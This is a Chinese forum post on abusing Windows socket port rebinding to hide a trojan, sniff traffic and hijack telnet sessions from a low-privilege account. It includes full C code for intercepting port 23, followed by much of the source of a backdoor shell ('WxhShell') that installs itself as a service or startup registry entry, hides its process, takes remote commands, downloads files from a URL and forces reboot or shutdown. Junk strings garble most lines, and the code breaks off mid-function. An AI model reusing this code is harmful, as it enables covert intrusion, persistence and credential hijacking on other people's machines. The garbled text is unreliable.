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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .o5K X*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :475FPy]  
9W+DW_M  
  saddr.sin_family = AF_INET; $tI<MZ&Z  
M2RkrW#  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s;E(51V<>  
W}"tf L8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y\(xYB>T  
@GGQ13Cj(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 `IJ)'$pn  
/OB)\{-  
  这意味着什么?意味着可以进行如下的攻击: )db:jPkwd  
V~ MsGj  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -3 ANNj  
k3e6y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6V ncr}  
G<k.d"<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 m+:JNgX6  
"EA =auN{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Hmk xE  
8a]g>g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6J#R1.h  
q*,HN(& l?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #H<}xC2  
L+T'TC:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :?LNP3}  
:8`$BbV  
  #include B u%%O8  
  #include t#8QyN  
  #include ZMr[:,Jp  
  #include    EkRx/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   LR!%iP  
  int main() =S6bP<q  
  { 0UW_ Pbh6  
  WORD wVersionRequested; .w _BA)  
  DWORD ret; NS""][#  
  WSADATA wsaData; .Ln98#ZR  
  BOOL val; 64 'QTF{D  
  SOCKADDR_IN saddr; =qoOr~  
  SOCKADDR_IN scaddr; zHg=K /  
  int err; 7HY8 F5Brx  
  SOCKET s; w|6?A-  
  SOCKET sc; |'JN<?   
  int caddsize; b/JjA  
  HANDLE mt; e6H}L:;  
  DWORD tid;   4p+Veo6B  
  wVersionRequested = MAKEWORD( 2, 2 ); i%F2^R@!q/  
  err = WSAStartup( wVersionRequested, &wsaData ); Csp$_uDi  
  if ( err != 0 ) { =8TBkxG  
  printf("error!WSAStartup failed!\n"); ;I80<SZ  
  return -1; J>G'H)  
  } EAm31v C  
  saddr.sin_family = AF_INET; &OE-+z  
   ^!i4d))  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r#_0_I1[  
R]Z#VnL@qz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !>ZBb\EyK  
  saddr.sin_port = htons(23); f x4#R(N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g:xg ~H2  
  { $%!06w#u  
  printf("error!socket failed!\n"); <n2'm  
  return -1;  b{)kup  
  } qmGHuQVe  
  val = TRUE; 6I=xjgwvf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 . XbDb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n[qnrk*3 %  
  { R/fE@d2~In  
  printf("error!setsockopt failed!\n"); u rQvJ  
  return -1; ]Ol w6W?%  
  } tJQZRZViu  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jk_yrbLc  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \ K}KnJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -|s% 5p|  
{~R?f$}""j  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _D@QsQ_Z  
  { } _];yw  
  ret=GetLastError(); Wd(|w8J{a  
  printf("error!bind failed!\n"); \fSruhD  
  return -1; ]9'F<T= $_  
  } N+5f.c+S-  
  listen(s,2); {R[V  
  while(1) RhT:]  
  { =h=-&DSA  
  caddsize = sizeof(scaddr); #lSGH 5Fp?  
  //接受连接请求 >ifys)wg>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); zVe,HKF/  
  if(sc!=INVALID_SOCKET) "}%j'  
  { $sb@*K}:4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H8B.c%_|U  
  if(mt==NULL) p[%~d$JUq  
  { dD'KP4Io@  
  printf("Thread Creat Failed!\n"); n ~&ssFC  
  break; wv\"(e7(  
  } r4gLoHD)  
  } 'Z,7{U1P  
  CloseHandle(mt); *%_M?^  
  } Xkx&'/QG,U  
  closesocket(s); pNuU{:9 B0  
  WSACleanup(); nehk8+eV_  
  return 0; 2$b1q!g<  
  }   vO"E4s  
  DWORD WINAPI ClientThread(LPVOID lpParam) J|o<;9dg1  
  { KyDd( 'i  
  SOCKET ss = (SOCKET)lpParam; q3-cWfU  
  SOCKET sc; }TuMMO4+  
  unsigned char buf[4096]; 1rue+GL  
  SOCKADDR_IN saddr; LV0gw"  
  long num; ?}W#j  
  DWORD val; &`>dY /Y  
  DWORD ret; ,If"4C!w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B VH)!]m0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qX6zk0I a  
  saddr.sin_family = AF_INET; VC Ay~,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dvY3=~'  
  saddr.sin_port = htons(23); sT<h+[2d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |pU>^  
  { p&`I#6{  
  printf("error!socket failed!\n"); /J c^XWf  
  return -1; B=X_c5  
  } Aq(,  
  val = 100; 6"rS?>W/mO  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) FcOrA3tt  
  { IsFL"Vx  
  ret = GetLastError(); ww%4MHPp8  
  return -1; VzcW9'"#  
  } +:c}LCI9<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j *N^.2  
  { l#w0-n%S  
  ret = GetLastError(); |qf9-36   
  return -1; 3z#fFP@E  
  } GIR12%-EO  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1.~^QH\p?3  
  { .>y3`,0h  
  printf("error!socket connect failed!\n"); +_f813$C  
  closesocket(sc);  Bv%dy[I  
  closesocket(ss); 5$$]ZMof  
  return -1; A9[D.W9>  
  } w#bdb;  
  while(1) cyL|.2,  
  { oK"#*n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A v/y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [f$pq5f='  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [E}pU8.t6  
  num = recv(ss,buf,4096,0); z^%`sUgP  
  if(num>0) REk^pZ3B  
  send(sc,buf,num,0); %V!!S#W  
  else if(num==0) :O;uP_r9  
  break; j{/wG::  
  num = recv(sc,buf,4096,0); =_2(S6~  
  if(num>0) N$Tzxs  
  send(ss,buf,num,0); ]tbl1=|  
  else if(num==0) }k8&T\V!  
  break; wG22ffaki  
  } oOQ0f |MGp  
  closesocket(ss); +]VW[ $W  
  closesocket(sc); :?#wWF.  
  return 0 ; 0J= $ A  
  } BT5~MYBl  
kh>i#9Ie  
'}P$hP_d  
========================================================== R_:-Z .  
h#|Ac>fz  
下边附上一个代码,,WXhSHELL HuD~(CI.  
O0mQHpi:  
========================================================== AAc2u^spx  
+2s][^-KV  
#include "stdafx.h" z}7U>y6`  
E `%*lGu_  
#include <stdio.h> P$`k* v  
#include <string.h> &=.7-iC|W  
#include <windows.h> + j6^g*  
#include <winsock2.h> s! sG)AR.J  
#include <winsvc.h> j2%#xZ{33  
#include <urlmon.h> u$x'P <b  
M;@/697G  
#pragma comment (lib, "Ws2_32.lib") `{J(S'a`  
#pragma comment (lib, "urlmon.lib") >9Y0t^Fl  
_#o75*42tT  
#define MAX_USER   100 // 最大客户端连接数 r9^~I  
#define BUF_SOCK   200 // sock buffer TIP H#W:v  
#define KEY_BUFF   255 // 输入 buffer jouT9~[L'  
T\T>\&nY+|  
#define REBOOT     0   // 重启 7I{rhA  
#define SHUTDOWN   1   // 关机 YzAGhAyw  
};8PPR)\y  
#define DEF_PORT   5000 // 监听端口 L0xh?B  
-$y/*'  
#define REG_LEN     16   // 注册表键长度 O'W[/\A56M  
#define SVC_LEN     80   // NT服务名长度 2fdC @V  
0a v2w5>af  
// 从dll定义API yrrP#F  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y2y = P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BUEV+SZ4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mDIN%/S'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G\S_e7$ /  
rJcZ a#  
// wxhshell配置信息 fu`|@S  
struct WSCFG { Pill |4c<  
  int ws_port;         // 监听端口 i}ti  
  char ws_passstr[REG_LEN]; // 口令 s#)tiCSVW  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6C*4' P9>  
  char ws_regname[REG_LEN]; // 注册表键名 xO'xZ%cUI  
  char ws_svcname[REG_LEN]; // 服务名 j|(bdTZY:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `[.4SIah  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 o}lA\A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ns`:=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yvKKE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1|#j/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KHt#mQy)9  
1VO>Bh.Wm  
}; g6<D 1r  
[ST7CrwC  
// default Wxhshell configuration VaylbYUCT/  
struct WSCFG wscfg={DEF_PORT, }kb6;4>c  
    "xuhuanlingzhe", A ]~%<=b  
    1, %;tBWyq}_  
    "Wxhshell", u=!n9W~"  
    "Wxhshell", <o&\/uO~H  
            "WxhShell Service", $PKUcT0N9  
    "Wrsky Windows CmdShell Service", Y\7/`ty  
    "Please Input Your Password: ", aboA9pwH  
  1, ^Jn=a9Q6Z  
  "http://www.wrsky.com/wxhshell.exe", YU%U  
  "Wxhshell.exe" UNKXfe(X9  
    }; CKRnkTTiV  
[%BWCd8Q~P  
// 消息定义模块 P}bwEj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tp=/f !bv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g 2&P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CjlA"_!%E  
char *msg_ws_ext="\n\rExit."; ao)8ie  
char *msg_ws_end="\n\rQuit."; 5JRj'G0I  
char *msg_ws_boot="\n\rReboot..."; l( 0:CM  
char *msg_ws_poff="\n\rShutdown..."; u1i ?L'  
char *msg_ws_down="\n\rSave to "; ++M%PF [ {  
Z"g6z#L&  
char *msg_ws_err="\n\rErr!"; bjGQ04da  
char *msg_ws_ok="\n\rOK!"; 1 gx(L*y,  
{'eF;!!Dy  
char ExeFile[MAX_PATH]; ]5i]2r1  
int nUser = 0; m^ [VM&%  
HANDLE handles[MAX_USER]; S?LUSb  
int OsIsNt; iQ_^MzA  
} {m.\O  
SERVICE_STATUS       serviceStatus; g|V0[Hnq6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YXjWk),  
TP&&' 4?D1  
// 函数声明 5iP{)  
int Install(void); ]h_V5rdX@  
int Uninstall(void); ]u@`XVEJ  
int DownloadFile(char *sURL, SOCKET wsh); pj9s=}1 '  
int Boot(int flag); ,O ]AB  
void HideProc(void); 2*@.hBi  
int GetOsVer(void); 5!^DKyw:  
int Wxhshell(SOCKET wsl); RI64QD  
void TalkWithClient(void *cs); 1q;r4$n  
int CmdShell(SOCKET sock); l>:\% ol  
int StartFromService(void); wZ =*ejo  
int StartWxhshell(LPSTR lpCmdLine); K+J fU J  
~ 'L`RJR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [I7([l1Wvd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #^&.*' z%z  
66shr  
// 数据结构和表定义 ,2 _!hm /  
SERVICE_TABLE_ENTRY DispatchTable[] = @jevY81)  
{ H@hHEzO  
{wscfg.ws_svcname, NTServiceMain}, Qp]-4%^Vz  
{NULL, NULL} 1brKs-z  
}; ZRo-=/1  
2k3yf_N  
// 自我安装 meNz0ve  
int Install(void) +zn207 .`  
{ @&M$oI$4*  
  char svExeFile[MAX_PATH]; O/2Jz  
  HKEY key; JqYt^,,Q:  
  strcpy(svExeFile,ExeFile); n^Sc*7  
f'3sT(1&  
// 如果是win9x系统,修改注册表设为自启动 f$^+;j  
if(!OsIsNt) { f.y~Sew  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `T;Y%"X!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n32.W?9  
  RegCloseKey(key); *<nfA}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3teanU`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f.SmCgG  
  RegCloseKey(key); =3?"s(9  
  return 0; vswBK-w(Z  
    } jIs2R3B  
  } y?s8UEC  
} Nt#a_  
else { lKF<]25  
E)7ODRVbl  
// 如果是NT以上系统,安装为系统服务 Co#_Cyxg=9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #yVMC;J?W  
if (schSCManager!=0) /i)1BaF  
{ k|c=O6GO  
  SC_HANDLE schService = CreateService qEbzF#a-:  
  ( k_<8SG+`  
  schSCManager, #XlE_XD  
  wscfg.ws_svcname, K'zG[[P  
  wscfg.ws_svcdisp, 19t'  
  SERVICE_ALL_ACCESS, AE"E($S`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vz_ZXy9Z  
  SERVICE_AUTO_START, kbkq.fYr  
  SERVICE_ERROR_NORMAL, |r=.}9 -  
  svExeFile, 2dF:;k k  
  NULL, 0fTEb%z8  
  NULL,  !bi}9w  
  NULL, 9k@`{+wmZ  
  NULL, X519} l3  
  NULL Qb;5:U/x  
  ); g6. =(je  
  if (schService!=0) 32sb$|eQq  
  { KVrK:W--p  
  CloseServiceHandle(schService); 4{r_EV[(  
  CloseServiceHandle(schSCManager); q;V1fogqI)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $iblLZhj  
  strcat(svExeFile,wscfg.ws_svcname); t[ZumQ@HC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !F|iL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k5@_8Rc  
  RegCloseKey(key); dIR6dI   
  return 0; =abth6#)  
    } )*Qa 9+ :  
  } d^w*!<8  
  CloseServiceHandle(schSCManager); : a4FO  
} F& 'HZX  
} ,T|%vqbmw  
&Tf R].  
return 1; Mwdw7MZ"S  
} 69v[* InSd  
] cv|A^  
// 自我卸载 0+\~^  
int Uninstall(void) ?Ze3t5Ll  
{ ",ic" ~  
  HKEY key; FDAREE\j  
-0) So  
if(!OsIsNt) { ~"*;lT5KX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B43o_H|s  
  RegDeleteValue(key,wscfg.ws_regname); r]=3aebR.  
  RegCloseKey(key); UI4Xv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vo%UiVHy  
  RegDeleteValue(key,wscfg.ws_regname); diLjUC`69  
  RegCloseKey(key); ,QpDz{8  
  return 0; d\ &jl`8*  
  } +(3PY  e\  
} |7CH  
} JAA P5ur  
else { _]=`F l  
\?} {wh8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &\C{,:[  
if (schSCManager!=0) rr[9sk`^H  
{ rwxJR@Ttn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fuH Dif,  
  if (schService!=0) XKsG2>l-W  
  { V#TA%>  
  if(DeleteService(schService)!=0) { (!';  
  CloseServiceHandle(schService); b'N"?W^YQ  
  CloseServiceHandle(schSCManager); aNW&ib  
  return 0; P-~Avb  
  } *TuoC5  
  CloseServiceHandle(schService); azB~>#H~  
  } n^/,>7J   
  CloseServiceHandle(schSCManager); b)u9#%Q  
} d]e`t"Aj  
}  <C4^Vem  
K@{jY\AZNx  
return 1; s 8``U~D   
} O'."ca]:5  
?.A6HrAPB  
// 从指定url下载文件 WII_s|YSt%  
int DownloadFile(char *sURL, SOCKET wsh) ,>(M5\Z/c  
{ }}qR~.[  
  HRESULT hr; 8IC((  
char seps[]= "/"; nm'm*sU\  
char *token; r/Pg,si  
char *file; +V |]:{3W  
char myURL[MAX_PATH]; /$rS0@p  
char myFILE[MAX_PATH]; nWZrB s _  
YKh%`Y1<  
strcpy(myURL,sURL); O)5-6lm  
  token=strtok(myURL,seps); %!rsu-W:Y  
  while(token!=NULL) Yb =8\<;  
  { CSU>nIE0  
    file=token; $zCUQthL@  
  token=strtok(NULL,seps); $)@zlnU  
  } HIh oYSwB  
>[xQUf,p  
GetCurrentDirectory(MAX_PATH,myFILE); i6m;2 UAa  
strcat(myFILE, "\\"); U(./LrM05  
strcat(myFILE, file); kX1hcAa  
  send(wsh,myFILE,strlen(myFILE),0); nbpN+a%  
send(wsh,"...",3,0); 7<.f&1MgI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =GR Em5  
  if(hr==S_OK) '~ ]b;nA  
return 0; GZ'hj_2%<  
else 8}\"LXRbo  
return 1; &P ;6P4x  
uR"]w7=  
} +[2lS54"W4  
00pHnNoxW  
// 系统电源模块 1shvHmrV  
int Boot(int flag) !#iP)"O  
{ f\(Kou$  
  HANDLE hToken; jv0e&rt  
  TOKEN_PRIVILEGES tkp; >8NQ8i=]V1  
5. l&nt'  
  if(OsIsNt) { q>omCk%h  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |E7]69=P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~`N|sI,  
    tkp.PrivilegeCount = 1; 0\Oeo8<7)~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R1q04Zj{2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gieX`}  
if(flag==REBOOT) { *`jEg=)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ZRxB"a'  
  return 0; i&LbSxUh9  
} r?V|9B`$p  
else { mU&J,C  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qbAoab53  
  return 0; rfPJBD{Ve  
} *pWswcV/  
  } !E7/:t4  
  else { Ta[}k/zW  
if(flag==REBOOT) { @/7Rp8Fr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g*]<]%Py"  
  return 0; N]=.I   
} uPp(l4(+  
else { ohh 1DsB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v^E5'M[A  
  return 0; ,vhR99g{  
} WD)[Ac[  
} $4M3j%S  
Lq&xlW j  
return 1; oD}I{&=wa  
} l/I W"A  
iCEX|Tj;  
// win9x进程隐藏模块 n+i}>3'A  
void HideProc(void) H5aUZ=  
{ "M*\,IH  
'/p5tw8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l`u*,"$  
  if ( hKernel != NULL ) eeX)JC0A  
  { Je*gMq:D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *LhR$(F(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0+H"$2/  
    FreeLibrary(hKernel); !kz\ {  
  } k4l72 'P  
`150$*K&B  
return; }ps6}_FE  
} l:[=M:#p  
N!va12  
// 获取操作系统版本 G dooy~cn  
int GetOsVer(void) N,1wfOE  
{ TUUBC%  
  OSVERSIONINFO winfo; 3whyIXs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RcE%?2l D  
  GetVersionEx(&winfo); p*'?(o:=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qy]-YJZ  
  return 1; b13>>'BMB  
  else _8`|KY  
  return 0; X3>(K1  
} bC{~/ JP  
5u!cA4e"  
// 客户端句柄模块 doa$ ;=wg  
int Wxhshell(SOCKET wsl) Q7s1M&K  
{ {%$=^XO  
  SOCKET wsh; 2,fB$5+  
  struct sockaddr_in client; R3<+z  
  DWORD myID; $200?[  
Owr`ip\  
  while(nUser<MAX_USER) G@;aqe[dB  
{ p[$I{F*a  
  int nSize=sizeof(client); Z~R i%XG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O//e0?]W  
  if(wsh==INVALID_SOCKET) return 1; *Zvw&y*  
R}]FIu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); | jkmh6  
if(handles[nUser]==0) E0|aI4S4  
  closesocket(wsh); 83 n: h08  
else N$+"zJmw&  
  nUser++; 0Nfj}sXCWE  
  } %|I|Mc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Mc6y'w  
 96BMJE'  
  return 0; G1l(  
} l1??b  
qRFN@ID$  
// 关闭 socket )eFK@goGeb  
void CloseIt(SOCKET wsh) eOb`uyi  
{ s6$3[9Vh&9  
closesocket(wsh); Y:a(y*y<  
nUser--; y{N9.H2  
ExitThread(0); p%s D>1k  
} JjmL6(*ui  
0v_8YsZ!`$  
// 客户端请求句柄 g DhwJks  
void TalkWithClient(void *cs) A"'MRYT`  
{ { nV zN(  
>&VL2xLy  
  SOCKET wsh=(SOCKET)cs; t'J fiGM  
  char pwd[SVC_LEN]; }:%pOL n  
  char cmd[KEY_BUFF]; VtO+=mZV  
char chr[1]; X_qXH5^%  
int i,j; V~=)#3]`[  
y AWDk0bx  
  while (nUser < MAX_USER) { ST3qg6Cq2J  
 >4\xcL  
if(wscfg.ws_passstr) { B'Wky>5)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o;[oy#aWl_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &0g,Xkr  
  //ZeroMemory(pwd,KEY_BUFF); g|P hNo  
      i=0; (Ka# 6   
  while(i<SVC_LEN) { d}ZH Y[  
{ZcZ\Q;6  
  // 设置超时 +6=!ve}  
  fd_set FdRead; I?K0bs+6  
  struct timeval TimeOut; 8VZ-`?p  
  FD_ZERO(&FdRead); zCHr  
  FD_SET(wsh,&FdRead); x3Ud0[(  
  TimeOut.tv_sec=8; zgqw*)C~  
  TimeOut.tv_usec=0; P5>CSWy%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TI>yi ^}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tX251S  
@>Keu\)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x}{VHp`|ld  
  pwd=chr[0]; }]I?vyQ#V  
  if(chr[0]==0xd || chr[0]==0xa) { $<v_Vm?6d  
  pwd=0; #*!$!c{  
  break; | 6>_L6t  
  } z'lNO| nU  
  i++; 4i,SiFKB  
    } Bu1z$#AC  
#lF<="y%X  
  // 如果是非法用户,关闭 socket f[I c hCwX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  sD8S2  
} ]lUu%<-;  
o(P:f)B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RY{tX`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ju]]|  
&wN 2l-  
while(1) { #E9['JnZ  
' l|_$3  
  ZeroMemory(cmd,KEY_BUFF); 6<Z: Xw  
C~qhwwh  
      // 自动支持客户端 telnet标准   {0 ~0  
  j=0; B$l`9!,  
  while(j<KEY_BUFF) { A ? M]5d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tWn m{mF  
  cmd[j]=chr[0]; ~8*oGG~s  
  if(chr[0]==0xa || chr[0]==0xd) { iI*7WO[W  
  cmd[j]=0; 8(>.^667  
  break; c~xo@[NaS  
  } +,Az\aT/%  
  j++; |xVCl<{F%  
    } ImY.HB^&  
>x4[7YAU{  
  // 下载文件 Yys~p2  
  if(strstr(cmd,"http://")) { t\i1VXtO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m]\zt  
  if(DownloadFile(cmd,wsh)) SbZt\a 8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u4@e=vW I  
  else 6>:~?gs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cO,V8#H  
  } 4Umsc>yfK  
  else { aLi_Hrb9  
Z~c'h  
    switch(cmd[0]) { M"^Vf{X^  
  5vf t}f  
  // 帮助 @@83PJFid  
  case '?': { _wNPA1q0J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pFTlhj)1  
    break; n=? 0g;1!  
  } P]"d eB|  
  // 安装 P/Kit?kngS  
  case 'i': { hFMst%:y$  
    if(Install()) V:BX"$ J1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nud=uJ"(  
    else <z uE=0P~%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ex \W]5  
    break; H@E" )@92  
    } _}OJPahw  
  // 卸载 GQ2PmnV +  
  case 'r': { @b\ S.  
    if(Uninstall()) -Zg @D(pF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Reu{   
    else *Ca)RgM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JA(fam~{  
    break; RX5.bVp eE  
    } kLt9; <L  
  // 显示 wxhshell 所在路径 ;#s}b1  
  case 'p': { liqR#<  
    char svExeFile[MAX_PATH]; iN_D8dI  
    strcpy(svExeFile,"\n\r"); qQOD  
      strcat(svExeFile,ExeFile); _1<'"u#6w  
        send(wsh,svExeFile,strlen(svExeFile),0); ,|X+/|gm  
    break; 3g [j%`k  
    } p*`SGX  
  // 重启 oL'1Gm@X?  
  case 'b': { .3<IOtD=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l(,;wAH  
    if(Boot(REBOOT)) ;{f??G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZuvPDW%  
    else { V.ji _vX  
    closesocket(wsh); ] 5v4^mk  
    ExitThread(0); dAr)%RZ  
    } g'ZMV6b?K  
    break; UIOEkQ\Wl  
    } Z.':&7Y  
  // 关机 ncattp   
  case 'd': { /%YiZ#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E0 eQ9BXh  
    if(Boot(SHUTDOWN)) rN1U.FRe/  
